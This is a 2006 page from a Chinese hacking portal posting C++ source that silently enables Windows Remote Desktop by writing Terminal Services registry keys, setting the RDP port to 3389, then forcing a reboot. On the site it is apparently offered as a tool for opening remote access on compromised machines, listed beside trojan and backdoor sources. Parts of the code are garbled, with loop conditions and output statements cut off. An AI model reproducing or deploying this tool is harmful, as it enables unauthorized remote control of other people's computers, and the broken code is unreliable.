| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 编程 >> Vc >> 正文 用户登录 新用户注册
开3389的源代码         ★★★ 【字体:
开3389的源代码
作者:未知 文章来源:华盟整理 点击数: 更新时间:2006-7-23

<--插入广告JS代码-->

#include "windows.h"

#include "windows.h"

#include "iostream.h"

 

 

void main(int argc, char* argv[])

{

HKEY hKey;

HANDLE hProcess, hToken;

TOKEN_PRIVILEGES NewState;

DWORD ProcessId, ReturnLength = 0;

LUID luidPrivilegeLUID;

LPCTSTR key[]={"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache\\",

"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\",

"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\",

"SYSTEM\\CurrentControlSet\\Services\\TermDD\\",

"SYSTEM\\CurrentControlSet\\Services\\TermService\\",

"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\",

".DEFAULT\\Keyboard Layout\\Toggle\\"};

HKEY head[]={HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,

HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,

HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,

HKEY_USERS};

DWORD type[] = {REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_SZ};

LPCTSTR value[] = {"\x00\x00\x00\x00", "\x01\x00\x00\x00", "\x01\x00\x00\x00", "\x02\x00\x00\x00", "\x02\x00\x00\x00", "\x3d\x0d\x00\00", "2"};

DWORD length[] = {4, 4, 4, 4, 4, 4, 2};

LPCTSTR name[] = {"Enabled","EnableAdminTSRemote","TSEnabled","Start","Start","PortNumber","Hotkey"};

for(int i = 0; i RegCreateKeyEx(head[i],key[i],0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,NULL);

for(i = 0; i {

if(::RegOpenKeyEx(head[i], key[i], 0, KEY_WRITE, &hKey) != ERROR_SUCCESS)

{

cout return;

}

if(::RegSetValueEx(hKey, name[i], 0, type[i], (LPBYTE)value[i], length[i]) != ERROR_SUCCESS)

{

cout return;

}

}

ProcessId = GetCurrentProcessId();

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID))

{

cout return;

}

NewState.PrivilegeCount = 1;

NewState.Privileges[0].Luid = luidPrivilegeLUID;

NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))

ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0);

return;

}

责任编辑:华夏编辑8  联系方式  Email:华夏编辑8
电话:51228163
  • 上一篇编程:

  • 下一篇编程:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关编程
    3389SHIFT后门自动扫描
    xp下双开3389源码
    xp下双开3389源码
    xp下双开3389源码
    机器狗文件下载者源码
    三种语言下载者源代码
    文件copy命令的源代码
    无dll无进程木马源代码
    无dll无进程木马源代码
    两个批量挂马脚本的源代码程序
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号